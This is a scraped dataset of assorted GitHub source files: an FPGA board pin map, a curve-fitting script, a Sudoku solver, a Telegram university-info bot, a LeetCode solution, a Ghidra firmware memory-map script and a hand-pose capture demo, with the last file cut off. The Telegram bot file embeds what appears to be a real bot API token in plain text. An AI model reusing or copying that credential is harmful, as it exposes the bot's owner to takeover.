IOStandard(\"LVCMOS33\")),\n (\"user_dip\", 2, Pins(\"B4\"), Misc(\"PULLDOWN\"), IOStandard(\"LVCMOS33\")),\n (\"user_dip\", 3, Pins(\"A4\"), Misc(\"PULLDOWN\"), IOStandard(\"LVCMOS33\")),\n\n # TI CDCE913 programmable triple-output PLL\n (\"clk_y1\", 0, Pins(\"V10\"), IOStandard(\"LVCMOS33\")), # default: 40 MHz\n (\"clk_y2\", 0, Pins(\"K15\"), IOStandard(\"LVCMOS33\")), # default: 66 2/3 MHz\n (\"clk_y3\", 0, Pins(\"C10\"), IOStandard(\"LVCMOS33\")), # default: 100 MHz\n\n # Maxim DS1088LU oscillator, not populated\n (\"clk_backup\", 0, Pins(\"R8\"), IOStandard(\"LVCMOS33\")),\n\n # TI CDCE913 PLL I2C control\n (\"pll\", 0,\n Subsignal(\"scl\", Pins(\"P12\")),\n Subsignal(\"sda\", Pins(\"U13\")),\n Misc(\"PULLUP\"),\n IOStandard(\"LVCMOS33\")),\n\n # Micron N25Q128 SPI Flash\n (\"spiflash\", 0,\n Subsignal(\"clk\", Pins(\"R15\")),\n Subsignal(\"cs_n\", Pins(\"V3\")),\n Subsignal(\"dq\", Pins(\"T13 R13 T14 V14\")),\n IOStandard(\"LVCMOS33\")),\n\n # PMOD extension connectors\n (\"pmod\", 0,\n Subsignal(\"d\", Pins(\"F15 F16 C17 C18 F14 G14 D17 D18\")),\n IOStandard(\"LVCMOS33\")),\n (\"pmod\", 1,\n Subsignal(\"d\", Pins(\"H12 G13 E16 E18 K12 K13 F17 F18\")),\n IOStandard(\"LVCMOS33\")),\n\n (\"pmod_diff\", 0,\n Subsignal(\"io\", Pins(\"F15 C17 F14 D17 H12 E16 K12 F17\")),\n Subsignal(\"iob\", Pins(\"F16 C18 G14 D18 G13 E18 K13 F18\")),\n IOStandard(\"LVCMOS33\")),\n\n (\"serial\", 0,\n Subsignal(\"tx\", Pins(\"T7\"), Misc(\"SLEW=SLOW\")),\n Subsignal(\"rx\", Pins(\"R7\"), Misc(\"PULLUP\")),\n IOStandard(\"LVCMOS33\")),\n\n (\"ddram_clock\", 0,\n Subsignal(\"p\", Pins(\"G3\")),\n Subsignal(\"n\", Pins(\"G1\")),\n IOStandard(\"MOBILE_DDR\")), # actually DIFF_\n\n # Micron MT46H32M16LFBF-5 LPDDR\n (\"ddram\", 0,\n Subsignal(\"a\", Pins(\"J7 J6 H5 L7 F3 H4 H3 H6 \"\n \"D2 D1 F4 D3 G6\")),\n Subsignal(\"ba\", Pins(\"F2 F1\")),\n Subsignal(\"dq\", Pins(\"L2 L1 K2 K1 H2 H1 J3 J1 \"\n \"M3 M1 N2 N1 T2 T1 U2 U1\")),\n Subsignal(\"cke\", Pins(\"H7\")),\n Subsignal(\"we_n\", Pins(\"E3\")),\n Subsignal(\"cs_n\", Pins(\"K6\")), # NC!\n Subsignal(\"cas_n\", Pins(\"K5\")),\n Subsignal(\"ras_n\", Pins(\"L5\")),\n Subsignal(\"dm\", Pins(\"K3\", \"K4\")),\n Subsignal(\"dqs\", Pins(\"L4\", \"P2\")),\n Subsignal(\"rzq\", Pins(\"N4\")),\n IOStandard(\"MOBILE_DDR\")),\n\n # Nat Semi DP83848J 10/100 Ethernet PHY\n # pull-ups on col and rx_data set phy addr to 11111b\n # and prevent isolate mode (addr 00000b)\n (\"eth_clocks\", 0,\n Subsignal(\"rx\", Pins(\"L15\")),\n Subsignal(\"tx\", Pins(\"H17\")),\n IOStandard(\"LVCMOS33\")),\n\n (\"eth\", 0,\n Subsignal(\"col\", Pins(\"M18\"), Misc(\"PULLUP\")),\n Subsignal(\"crs\", Pins(\"N17\"), Misc(\"PULLDOWN\")),\n Subsignal(\"mdc\", Pins(\"M16\"), Misc(\"PULLDOWN\")),\n Subsignal(\"mdio\", Pins(\"L18\"), Misc(\"PULLUP\")), # 1k5 ext PULLUP\n Subsignal(\"rst_n\", Pins(\"T18\"), Misc(\"TIG\")),\n Subsignal(\"rx_data\", Pins(\"T17 N16 N15 P18\"), Misc(\"PULLUP\")),\n Subsignal(\"rx_dv\", Pins(\"P17\"), Misc(\"PULLDOWN\")), # MII\n Subsignal(\"rx_er\", Pins(\"N18\"), Misc(\"PULLUP\")), # auto MDIX\n Subsignal(\"tx_data\", Pins(\"K18 K17 J18 J16\")),\n Subsignal(\"tx_en\", Pins(\"L17\")),\n Subsignal(\"tx_er\", Pins(\"L16\")), # NC!\n IOStandard(\"LVCMOS33\")),\n ]\n\n\nclass Platform(XilinxPlatform):\n default_clk_name = \"clk_y3\"\n default_clk_period = 10\n\n def __init__(self):\n XilinxPlatform.__init__(self, \"xc6slx9-2csg324\", _io)\n self.add_platform_command(\"\"\"\nCONFIG VCCAUX = \"3.3\";\n\"\"\")\n self.toolchain.bitgen_opt = \"-g LCK_cycle:6 -g Binary:Yes -w -g SPI_buswidth:4\"\n self.toolchain.ise_commands = \"\"\"\npromgen -w -spi -c FF -p mcs -o {build_name}.mcs -u 0 {build_name}.bit\n\"\"\"\n\n def do_finalize(self, fragment):\n XilinxPlatform.do_finalize(self, fragment)\n\n try:\n eth_clocks = self.lookup_request(\"eth_clocks\")\n self.add_period_constraint(eth_clocks.rx, 40)\n self.add_period_constraint(eth_clocks.tx, 40)\n self.add_platform_command(\"\"\"\nTIMESPEC \"TS{phy_tx_clk}_io\" = FROM \"GRP{phy_tx_clk}\" TO \"PADS\" 10 ns;\nTIMESPEC \"TS{phy_rx_clk}_io\" = FROM \"PADS\" TO \"GRP{phy_rx_clk}\" 10 ns;\n\"\"\", phy_rx_clk=eth_clocks.rx, phy_tx_clk=eth_clocks.tx)\n except ConstraintError:\n pass\n","repo_name":"m-labs/migen","sub_path":"migen/build/platforms/lx9_microboard.py","file_name":"lx9_microboard.py","file_ext":"py","file_size_in_byte":5333,"program_lang":"python","lang":"en","doc_type":"code","stars":1114,"dataset":"github-code","pt":"62"} +{"seq_id":"18008168876","text":"# -*- coding: utf-8 -*-\n\"\"\"\nAjuste lineal con errores gaussianos\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import stats\nfrom random import gauss\n\nN = 15\nx = np.linspace(0,50,N)\n\n# Armo la dispersion en y\ny = np.array([])\nerrores = np.array([])\nfor i in range(N):\n if i < 10:\n errores = np.append(errores,.5)\n y = np.append(y,gauss(x[i]/3+10,errores[i]))\n else:\n errores = np.append(errores,.5)\n y = np.append(y,gauss(x[i]/3+10,errores[i]))\n\n\n\n# Supongo mediciones no correlacionadas --> V prop. Id.\n# El ajuste es lineal en x, pero puede ser lineal en theta\nA = np.ones((N,2))\nA[:,1] = x\nVi = np.diag(1/errores**2)\n\nB = np.linalg.inv( np.dot(np.transpose(A),np.dot(Vi,A)))\ntheta = np.dot(np.dot(B, np.transpose(A)),np.dot(Vi,y))\n\n#slope, intercept, r_value, p_value, std_err = stats.linregress(x,y)\n\n# Coeficiente R2\nfit = theta[0]+theta[1]*x\nr2 = 1 - sum((y-fit)**2)/sum((y-np.mean(y))**2)\n# Coeficiente Chi2\nchi2 = np.dot(np.transpose(y-fit),np.dot(Vi,y-fit))/(N-2)\n\n#%%\nplt.figure(1)\nplt.clf()\nplt.grid()\nplt.errorbar(x,y,fmt='o',yerr=errores)\n\nz = np.linspace(x[0],x[-1],1000)\nplt.plot(z,theta[0]+theta[1]*z,'r')\nprint(\"R^2 =\",r2)\nprint(\"Chi^2 =\",chi2)","repo_name":"NickTrossa/Python","sub_path":"sim_ajustelineal.py","file_name":"sim_ajustelineal.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"496581085","text":"import random\r\nimport copy\r\nimport time\r\n\r\n#Grids 1-4 are 2x2\r\ngrid1 = [\r\n\t\t[1, 0, 4, 2],\r\n\t\t[4, 2, 1, 3],\r\n\t\t[2, 1, 3, 4],\r\n\t\t[3, 4, 2, 1]]\r\n\r\ngrid2 = [\r\n\t\t[1, 0, 4, 2],\r\n\t\t[4, 2, 1, 3],\r\n\t\t[2, 1, 0, 4],\r\n\t\t[3, 4, 2, 1]]\r\n\r\ngrid3 = [\r\n\t\t[1, 0, 4, 2],\r\n\t\t[4, 2, 1, 0],\r\n\t\t[2, 1, 0, 4],\r\n\t\t[0, 4, 2, 1]]\r\n\r\ngrid4 = [\r\n\t\t[1, 0, 4, 2],\r\n\t\t[0, 2, 1, 0],\r\n\t\t[2, 1, 0, 4],\r\n\t\t[0, 4, 2, 1]]\r\n\r\ngrid5 = [\r\n\t\t[1, 0, 0, 2],\r\n\t\t[0, 0, 1, 0],\r\n\t\t[0, 1, 0, 4],\r\n\t\t[0, 0, 0, 1]]\r\n\r\ngrid6 = [\r\n\t\t[0, 0, 6, 0, 0, 3],\r\n\t\t[5, 0, 0, 0, 0, 0],\r\n\t\t[0, 1, 3, 4, 0, 0],\r\n\t\t[0, 0, 0, 0, 0, 6],\r\n\t\t[0, 0, 1, 0, 0, 0],\r\n\t\t[0, 5, 0, 0, 6, 4]]\r\n\r\ngrids = [(grid1, 2, 2), (grid2, 2, 2), (grid3, 2, 2), (grid4, 2, 2), (grid5, 2, 2)]\r\n'''\r\n===================================\r\nDO NOT CHANGE CODE ABOVE THIS LINE\r\n===================================\r\n'''\r\n\r\ndef check_section(section, n):\r\n\r\n\tif len(set(section)) == len(section) and sum(section) == sum([i for i in range(n+1)]):\r\n\t\treturn True\r\n\treturn False\r\n\r\ndef get_squares(grid, n_rows, n_cols):\r\n\r\n\tsquares = []\r\n\tfor i in range(n_cols):\r\n\t\trows = (i*n_rows, (i+1)*n_rows)\r\n\t\tfor j in range(n_rows):\r\n\t\t\tcols = (j*n_cols, (j+1)*n_cols)\r\n\t\t\tsquare = []\r\n\t\t\tfor k in range(rows[0], rows[1]):\r\n\t\t\t\tline = grid[k][cols[0]:cols[1]]\r\n\t\t\t\tsquare +=line\r\n\t\t\tsquares.append(square)\r\n\r\n\r\n\treturn(squares)\r\n\r\n#To complete the first assignment, please write the code for the following function\r\ndef check_solution(grid, n_rows, n_cols):\r\n\t'''\r\n\tThis function is used to check whether a sudoku board has been correctly solved\r\n\r\n\targs: grid - representation of a suduko board as a nested list.\r\n\treturns: True (correct solution) or False (incorrect solution)\r\n\t'''\r\n\tn = n_rows*n_cols\r\n\r\n\tfor row in grid:\r\n\t\tif check_section(row, n) == False:\r\n\t\t\treturn False\r\n\r\n\tfor i in range(n_rows**2):\r\n\t\tcolumn = []\r\n\t\tfor row in grid:\r\n\t\t\tcolumn.append(row[i])\r\n\r\n\t\tif check_section(column, n) == False:\r\n\t\t\treturn False\r\n\r\n\tsquares = get_squares(grid, n_rows, n_cols)\r\n\tfor square in squares:\r\n\t\tif check_section(square, n) == False:\r\n\t\t\treturn False\r\n\r\n\treturn True\r\n\r\n\r\ndef find_empty(grid):\r\n '''\r\n This function returns the index (i, j) to the first zero element in a sudoku grid\r\n If no such element is found, it returns None\r\n\r\n args: grid\r\n return: A tuple (i,j) where i and j are both integers, or None\r\n '''\r\n\r\n for i in range(len(grid)):\r\n row = grid[i]\r\n for j in range(len(row)):\r\n if grid[i][j] == 0:\r\n return (i, j)\r\n\r\n return None\r\n\r\n#add the stuff in about finding the best zero.\r\ndef find_set(grid, row, col):\r\n \"\"\"\r\n finds all possible options for a specified row/column coordinate that will have been\r\n identified as a zero.\r\n arguments: grid, row coordinate, column coordinate\r\n returns: a set of all possible options\r\n\r\n \"\"\"\r\n givens = set()\r\n \r\n for i in range(4):\r\n row_no = grid[row][i]\r\n# print('row_no =',row_no)\r\n givens.add(row_no)\r\n \r\n for j in range(4):\r\n \r\n col_no = grid[j][col]\r\n# print('col_no =',col_no)\r\n givens.add(col_no)\r\n \r\n for k in range(4):\r\n if k//2== row//2:\r\n# print('k =',k)\r\n for l in range(4):\r\n if l//2 == col//2:\r\n# print('l = ', l)\r\n box_no = grid[k][l]\r\n# print('box_no = ', box_no)\r\n givens.add(box_no)\r\n \r\n# print('givens = ',givens)\r\n \r\n total = set()\r\n for m in range(1,5):\r\n total.add(m)\r\n# print('total options = ',total)\r\n options = total - givens\r\n# print('options:', options)\r\n return options\r\n\r\n \r\ndef best_zero(grid):\r\n options_dict = {}\r\n for f in range(4):\r\n for g in range(4):\r\n if grid[f][g] == 0:\r\n \r\n options_dict[f, g] = find_set(grid, f, g)\r\n #then I need to min-dict options_dict\r\n \r\n \r\n values = list(options_dict.values())\r\n# print('values = ', values)\r\n if len(values) == 0:\r\n return None\r\n shortest = values[0]\r\n counter = 1\r\n index = 0\r\n\r\n while counter < len(values):\r\n len_shortest = len(shortest)\r\n# print('length of shortest = ', len_shortest)\r\n l = values[counter]\r\n len_l = len(l)\r\n# print('length of l = ', len_l)\r\n if len_l < len_shortest:\r\n shortest = l\r\n# print('therefore new shortest = ', shortest)\r\n index = counter\r\n counter +=1\r\n\r\n# print('final shortest = ', shortest, 'at position', index)\r\n \r\n \r\n zero = list(options_dict.items())[index]\r\n \r\n zero = list(zero)\r\n zero[1] = tuple(zero[1])\r\n return zero\r\n\r\n\r\n\r\n\r\n \r\n \r\n \r\ndef recursive_solve(grid, n_rows, n_cols):\r\n '''\r\n This function uses recursion to exhaustively search all possible solutions to a grid\r\n until the solution is found\r\n\r\n args: grid, n_rows, n_cols\r\n return: A solved grid (as a nested list), or None\r\n '''\r\n\r\n #N is the maximum integer considered in this board\r\n n = n_rows*n_cols\r\n #Find an empty place in the grid\r\n zero = best_zero(grid)\r\n# print(zero)\r\n# \tempty = find_empty(grid)\r\n# \tprint(empty)\r\n #If there's no empty places left, check if we've found a solution\r\n if not zero:\r\n #If the solution is correct, return it.\r\n if check_solution(grid, n_rows, n_cols):\r\n return grid \r\n else:\r\n #If the solution is incorrect, return None\r\n return None\r\n else:\r\n row = zero[0][0]\r\n# print('row = ', row)\r\n col = zero[0][1]\r\n# print('col = ', col)\r\n options = zero[1]\r\n# print('options=', options)\r\n #Loop through possible values\r\n for i in options:\r\n \r\n # print('option = ', i)\r\n #Place the value into the grid\r\n grid[row][col] = i\r\n #Recursively solve the grid\r\n ans = recursive_solve(grid, n_rows, n_cols)\r\n #If we've found a solution, return it\r\n if ans:\r\n return ans \r\n\r\n #If we couldn't find a solution, that must mean this value is incorrect.\r\n #Reset the grid for the next iteration of the loop\r\n grid[row][col] = 0 \r\n\r\n #If we get here, we've tried all possible values. Return none to indicate the previous value is incorrect.\r\n return None\r\n\r\ndef random_solve(grid, n_rows, n_cols, max_tries=50000):\r\n\t'''\r\n\tThis function uses random trial and error to solve a Sudoku grid\r\n\r\n\targs: grid, n_rows, n_cols, max_tries\r\n\treturn: A solved grid (as a nested list), or the original grid if no solution is found\r\n\t'''\r\n\r\n\tfor i in range(max_tries):\r\n\t\tpossible_solution = fill_board_randomly(grid, n_rows, n_cols)\r\n\t\tif check_solution(possible_solution, n_rows, n_cols):\r\n\t\t\treturn possible_solution\r\n\r\n\treturn grid\r\n\r\ndef fill_board_randomly(grid, n_rows, n_cols):\r\n\t'''\r\n\tThis function will fill an unsolved Sudoku grid with random numbers\r\n\r\n\targs: grid, n_rows, n_cols\r\n\treturn: A grid with all empty values filled in\r\n\t'''\r\n\tn = n_rows*n_cols\r\n\t#Make a copy of the original grid\r\n\tfilled_grid = copy.deepcopy(grid)\r\n\r\n\t#Loop through the rows\r\n\tfor i in range(len(grid)):\r\n\t\t#Loop through the columns\r\n\t\tfor j in range(len(grid[0])):\r\n\t\t\t#If we find a zero, fill it in with a random integer\r\n\t\t\tif grid[i][j] == 0:\r\n\t\t\t\tfilled_grid[i][j] = random.randint(1, n)\r\n\r\n\treturn filled_grid \r\n\r\ndef solve(grid, n_rows, n_cols):\r\n\r\n\t'''\r\n\tSolve function for Sudoku coursework.\r\n\tComment out one of the lines below to either use the random or recursive solver\r\n\t'''\r\n\t\r\n\t#return random_solve(grid, n_rows, n_cols)\r\n\treturn recursive_solve(grid, n_rows, n_cols)\r\n\r\n'''\r\n===================================\r\nDO NOT CHANGE CODE BELOW THIS LINE\r\n===================================\r\n'''\r\ndef main():\r\n\r\n\tpoints = 0\r\n\r\n\tprint(\"Running test script for coursework 1\")\r\n\tprint(\"====================================\")\r\n\t\r\n\tfor (i, (grid, n_rows, n_cols)) in enumerate(grids):\r\n\t\tprint(\"Solving grid: %d\" % (i+1))\r\n\t\tstart_time = time.time()\r\n\t\tsolution = solve(grid, n_rows, n_cols)\r\n\t\telapsed_time = time.time() - start_time\r\n\t\tprint(\"Solved in: %f seconds\" % elapsed_time)\r\n\t\tprint(solution)\r\n\t\tif check_solution(solution, n_rows, n_cols):\r\n\t\t\tprint(\"grid %d correct\" % (i+1))\r\n\t\t\tpoints = points + 10\r\n\t\telse:\r\n\t\t\tprint(\"grid %d incorrect\" % (i+1))\r\n\r\n\tprint(\"====================================\")\r\n\tprint(\"Test script complete, Total points: %d\" % points)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\tmain()","repo_name":"Ibharhajjam/Coursework-python","sub_path":"CW3 T1 complete trial 4 by 4 DAN.py","file_name":"CW3 T1 complete trial 4 by 4 DAN.py","file_ext":"py","file_size_in_byte":8576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"18049282834","text":"import telebot\r\nfrom telebot import types\r\ntoken = \"5212720849:AAGaPCNsgaJ9INmljYQRIcCNLdjxHDHpEVc\"\r\nbot = telebot.TeleBot(token)\r\n\r\n@bot.message_handler(commands=['start'])\r\n\r\ndef start(message):\r\n keyboard = types.ReplyKeyboardMarkup()\r\n keyboard.row(\"/help\", \"/end\", \"1\", \"2\", \"3\")\r\n bot.send_message(message.chat.id, 'Привет! Хотите узнать свежую информацию о МТУСИ, расписание МТУСИ или информацию о системе дистанционного обучения МТУСИ? 1, 2 или 3')\r\n\r\n@bot.message_handler(commands=['help'])\r\n\r\ndef start_message(message):\r\n bot.send_message(message.chat.id, 'Я умею при помощи команд 1, 2 или 3 присылать информацию МТУСИ, расписание МТУСИ или информацию о системе дистанционного обучения МТУСИ. Введите 1, чтобы узнать информацию о МТУСИ, введите 2,'\r\n ' чтобы узнать расписание МТУСИ или введите 3, чтобы перейти на сайт <система дистанционного обучения МТУСИ>.')\r\n\r\n@bot.message_handler(commands=['end'])\r\n\r\ndef start_message(message):\r\n bot.send_message(message.chat.id, 'Спасибо за использование бота. До связи!')\r\n\r\n@bot.message_handler(content_types=['text'])\r\n\r\ndef answer(message):\r\n if message.text.lower() == \"1\":\r\n bot.send_message(message.chat.id, 'Тогда вам сюда – https://mtuci.ru/')\r\n if message.text.lower() == \"2\":\r\n bot.send_message(message.chat.id, 'Тогда вам сюда – https://mtuci.ru/time-table/')\r\n if message.text.lower() == \"3\":\r\n bot.send_message(message.chat.id, 'Тогда вам сюда – https://mtuci.ru/education/eios/')\r\nbot.infinity_polling()\r\n","repo_name":"MihailSelivanov/lab7","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41104215761","text":"from functools import cache\nclass Solution:\n def loudAndRich(self, richer: List[List[int]], quiet: List[int]) -> List[int]:\n n = len(quiet)\n\n graph = defaultdict(lambda : set()) # richer than me\n\n for a, b in richer: \n graph[b].add(a) # a is richer than b\n \n\n @cache\n def quietest_definitely_richer(node): # quietest person definitely richer\n # print(node, graph[node])\n loudest = quiet[node] # yourself as loudest\n loudest_node = node\n for richer in graph[node]: # iterate through all people richer than node\n quietness, quietest_node = quietest_definitely_richer(richer)\n if quietness < loudest:\n loudest = quietness\n loudest_node = quietest_node\n\n return loudest, loudest_node\n \n\n res = []\n for node in range(n): \n _, quiet_node = quietest_definitely_richer(node)\n res.append(quiet_node)\n return res\n","repo_name":"nvercillo/LeetcodeAlgorithms","sub_path":"medium/loud-and-rich.py","file_name":"loud-and-rich.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"73773437638","text":"# Initializes project memory map\n\nfrom mlLib.toolbox import *\nfrom mlLib.MemTable import *\n\n\ndef createMemoryMap(device, fw):\n\n # First, init \"target\" memTable with general memory regions and RAM config\n memTable = MemTable()\n for region in device.cpu.regions:\n memTable.addRegion(region)\n memTable.createRAMEntries(device.memSize)\n\n print(\"Device\")\n print(memTable)\n\n # Create another memory table, with camera specific regions\n fwTable = MemTable()\n for region in fw.roms:\n fwTable.addRegion(region)\n print(\"ROM files\")\n print(fwTable)\n\n for e in fw.romcpy:\n fwTable.addRomcpyRegion(e)\n print(\"ROMCPY added\")\n print(fwTable)\n\n # Inject camera specific entries on top of a target memory table\n memTable.merge(fwTable)\n print(\"Merged\")\n print(memTable)\n\n # split subregions - after merge, as those may set own ACLs.\n for e in fw.subregions:\n memTable.splitSubregion(e)\n print(\"Subregions\")\n print(memTable)\n\n # remove firmware blobs\n for name, regions in fw.blobs.items():\n for region in regions:\n memTable.clearRegion(region, name)\n print(\"Blobls removed\")\n print(memTable)\n\n # remove ROMCPY sources\n for e in fw.romcpy:\n memTable.clearRegion(e, \"ROMCPY\")\n print(\"ROMCPY sources removed\")\n print(memTable)\n\n memTable.removeDummyRegions()\n print(\"Cleanup\")\n print(memTable)\n\n # add overlay regions\n # last step as those are independent of main address space\n for name, regions in fw.overlays.items():\n for region in regions:\n memTable.addRomcpyRegion(region)\n memTable.clearRegion(region, name)\n\n print(\"Memory map with overlays\")\n print(memTable)\n return memTable\n\ndef applyMemoryMap(memTable, program = None):\n if not isinstance(memTable, MemTable):\n print(\"memTable is not MemTable object!\")\n\n if program is None:\n from __main__ import currentProgram\n program = currentProgram\n\n def setAttrs(mb, attr):\n if len(attr) < 4:\n attr.ljust(4)\n mb.setRead(True if attr[0] == \"r\" else False)\n mb.setWrite(True if attr[1] == \"w\" else False)\n mb.setExecute(True if attr[2] == \"x\" else False)\n mb.setVolatile(True if attr[3] == \"v\" else False)\n mb.setSourceName('AutoLoader')\n\n mem = program.getMemory()\n\n for r in memTable:\n rStart = stringToAddress(r.dst, program = program)\n print(\"Create region: 0x{:08x} {}\".format(r.dst, r.name))\n region = None\n #if isinstance(r, ByteMappedRegion):\n # region = mem.createByteMappedBlock(r.name, rStart, stringToAddress(r.src, program=program), r.getSize(), r.overlay)\n if isinstance(r, RomRegion):\n fileBytes = getFileBytes(r.file, program=program)\n\n region = mem.createInitializedBlock(r.name, rStart, fileBytes, r.offset, r.getSize(), r.overlay)\n elif isinstance(r, UninitializedRegion):\n region = mem.createUninitializedBlock(r.name, rStart, r.getSize(), r.overlay)\n\n region.setComment(r.comment)\n setAttrs(region, r.acl)\n","repo_name":"kitor/ml-ghidra","sub_path":"mlLib/MemoryMap.py","file_name":"MemoryMap.py","file_ext":"py","file_size_in_byte":3144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5531244096","text":"import os, sys, shutil\nimport os.path as osp\nimport numpy as np\nimport cv2\nimport json\nimport torch\nfrom torchvision.transforms import Normalize\n\nfrom demo_options import DemoOptions\nimport mocap_utils.general_utils as gnu\nimport mocap_utils.demo_utils as demo_utils\n\nfrom hand_mocap_api import HandMocap\nfrom hand_bbox_detector import HandBboxDetector\n\nimport renderer.image_utils as imu\nfrom renderer.viewer2D import ImShow\nimport time\nfrom alfred import device\n\nfrom bodymocap.body_bbox_detector import BodyPoseEstimator\nfrom bodymocap.body_mocap_api import BodyMocap\n\n\"\"\"\nthis will run body mocap\nget the SMPL mesh, using SMPL mesh to get\nthe hands box\n\nwithout needing a hand box detector\n\n\"\"\"\n\n\ndef run_hand_mocap(args, body_bbox_detector, body_mocap, hand_mocap, visualizer):\n # Set up input data (images or webcam)\n input_type, input_data = demo_utils.setup_input(args)\n\n assert args.out_dir is not None, \"Please specify output dir to store the results\"\n cur_frame = args.start_frame\n video_frame = 0\n\n while True:\n # load data\n load_bbox = False\n\n if input_type == \"image_dir\":\n if cur_frame < len(input_data):\n image_path = input_data[cur_frame]\n img_original_bgr = cv2.imread(image_path)\n else:\n img_original_bgr = None\n\n elif input_type == \"bbox_dir\":\n if cur_frame < len(input_data):\n print(\"Use pre-computed bounding boxes\")\n image_path = input_data[cur_frame][\"image_path\"]\n hand_bbox_list = input_data[cur_frame][\"hand_bbox_list\"]\n body_bbox_list = input_data[cur_frame][\"body_bbox_list\"]\n img_original_bgr = cv2.imread(image_path)\n load_bbox = True\n else:\n img_original_bgr = None\n\n elif input_type == \"video\":\n _, img_original_bgr = input_data.read()\n if video_frame < cur_frame:\n video_frame += 1\n continue\n # save the obtained video frames\n image_path = osp.join(args.out_dir, \"frames\", f\"{cur_frame:05d}.jpg\")\n if img_original_bgr is not None:\n video_frame += 1\n if args.save_frame:\n gnu.make_subdir(image_path)\n cv2.imwrite(image_path, img_original_bgr)\n\n elif input_type == \"webcam\":\n _, img_original_bgr = input_data.read()\n\n if video_frame < cur_frame:\n video_frame += 1\n continue\n # save the obtained video frames\n image_path = osp.join(args.out_dir, \"frames\", f\"scene_{cur_frame:05d}.jpg\")\n if img_original_bgr is not None:\n video_frame += 1\n if args.save_frame:\n gnu.make_subdir(image_path)\n cv2.imwrite(image_path, img_original_bgr)\n else:\n assert False, \"Unknown input_type\"\n\n cur_frame += 1\n if img_original_bgr is None or cur_frame > args.end_frame:\n break\n print(\"--------------------------------------\")\n\n # Get handbox_list from body mocap\n body_pose_list, body_bbox_list = body_bbox_detector.detect_body_pose(\n img_original_bgr\n )\n hand_bbox_list = [\n None,\n ] * len(body_bbox_list)\n\n if len(body_bbox_list) < 1:\n print(f\"No body deteced: {image_path}\")\n continue\n\n # Sort the bbox using bbox size\n # (to make the order as consistent as possible without tracking)\n bbox_size = [(x[2] * x[3]) for x in body_bbox_list]\n idx_big2small = np.argsort(bbox_size)[::-1]\n body_bbox_list = [body_bbox_list[i] for i in idx_big2small]\n if args.single_person and len(body_bbox_list) > 0:\n body_bbox_list = [\n body_bbox_list[0],\n ]\n\n # Body Pose Regression\n pred_output_list = body_mocap.regress(img_original_bgr, body_bbox_list)\n\n hand_bbox_list = body_mocap.get_hand_bboxes(\n pred_output_list, img_original_bgr.shape[:2]\n )\n print(\"hand_bbox_list: \", hand_bbox_list)\n\n # Hand Pose Regression\n pred_output_list = hand_mocap.regress(\n img_original_bgr, hand_bbox_list, add_margin=True\n )\n # assert len(hand_bbox_list) == len(body_bbox_list)\n # assert len(body_bbox_list) == len(pred_output_list)\n\n # extract mesh for rendering (vertices in image space and faces) from pred_output_list\n pred_mesh_list = demo_utils.extract_mesh_from_output(pred_output_list)\n\n # visualize\n res_img = visualizer.visualize(\n img_original_bgr,\n pred_mesh_list=pred_mesh_list,\n hand_bbox_list=hand_bbox_list,\n )\n\n # show result in the screen\n if not args.no_display:\n res_img = res_img.astype(np.uint8)\n ImShow(res_img)\n\n # save the image (we can make an option here)\n if args.out_dir is not None:\n demo_utils.save_res_img(args.out_dir, image_path, res_img)\n\n # save predictions to pkl\n if args.save_pred_pkl:\n demo_type = \"hand\"\n demo_utils.save_pred_to_pkl(\n args,\n demo_type,\n image_path,\n body_bbox_list,\n hand_bbox_list,\n pred_output_list,\n )\n\n print(f\"Processed : {image_path}\")\n\n # save images as a video\n if not args.no_video_out and input_type in [\"video\", \"webcam\"]:\n demo_utils.gen_video_out(args.out_dir, args.seq_name)\n\n # When everything done, release the capture\n if input_type == \"webcam\" and input_data is not None:\n input_data.release()\n cv2.destroyAllWindows()\n\n\ndef main():\n args = DemoOptions().parse()\n args.use_smplx = True\n\n # device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\n # Set Bbox detector\n # bbox_detector = HandBboxDetector(args.view_type, device)\n\n # Set Mocap regressor\n hand_mocap = HandMocap(args.checkpoint_hand, args.smpl_dir, device=device)\n\n # Set bbox detector\n body_bbox_detector = BodyPoseEstimator()\n\n # Set mocap regressor\n use_smplx = args.use_smplx\n checkpoint_path = (\n args.checkpoint_body_smplx if use_smplx else args.checkpoint_body_smpl\n )\n print(\"use_smplx\", use_smplx)\n body_mocap = BodyMocap(checkpoint_path, args.smpl_dir, device, use_smplx)\n\n # Set Visualizer\n if args.renderer_type in [\"pytorch3d\", \"opendr\"]:\n from renderer.screen_free_visualizer import Visualizer\n else:\n from renderer.visualizer import Visualizer\n visualizer = Visualizer(args.renderer_type)\n\n # run\n run_hand_mocap(args, body_bbox_detector, body_mocap, hand_mocap, visualizer)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"lucasjinreal/OpenHandMocap","sub_path":"frankhand/demo_handmocap_wo_detector.py","file_name":"demo_handmocap_wo_detector.py","file_ext":"py","file_size_in_byte":6935,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"62"} +{"seq_id":"41030461333","text":"from aiogram import types\nfrom aiogram.dispatcher.filters import Text\n\nfrom keyboards.buttons import main_menu_kb\nfrom loader import dp\n\n\nDESCRIPTION = (\"🔹 Чтобы получить информацию о фактической погоде на аэродроме, \"\n \"введите 4-х буквенную аббревиатуру аэропорта или воспользуйтесь командой '🔎 search'\\n\"\n \"------------------------------------\\n\"\n \"🔹 Если вы хотите узнать аббревиатуру, \"\n \"или посмотреть список аэропортов, нажмите команду '🆘 help'\\n\"\n \"------------------------------------\\n\"\n \"🔹 Чтобы создать меню из своих городов, воспользуйтесь командой '⚙️ custom menu'\\n\"\n \"------------------------------------\\n\"\n \"🔹 Чтобы отключить клавиатуру, нажмите '✖️ close keyboard'\\n\")\n\n\n@dp.message_handler(Text(equals=\"📎 description\"))\nasync def description_command(message: types.Message) -> None:\n \"\"\" Функция обрабатывает 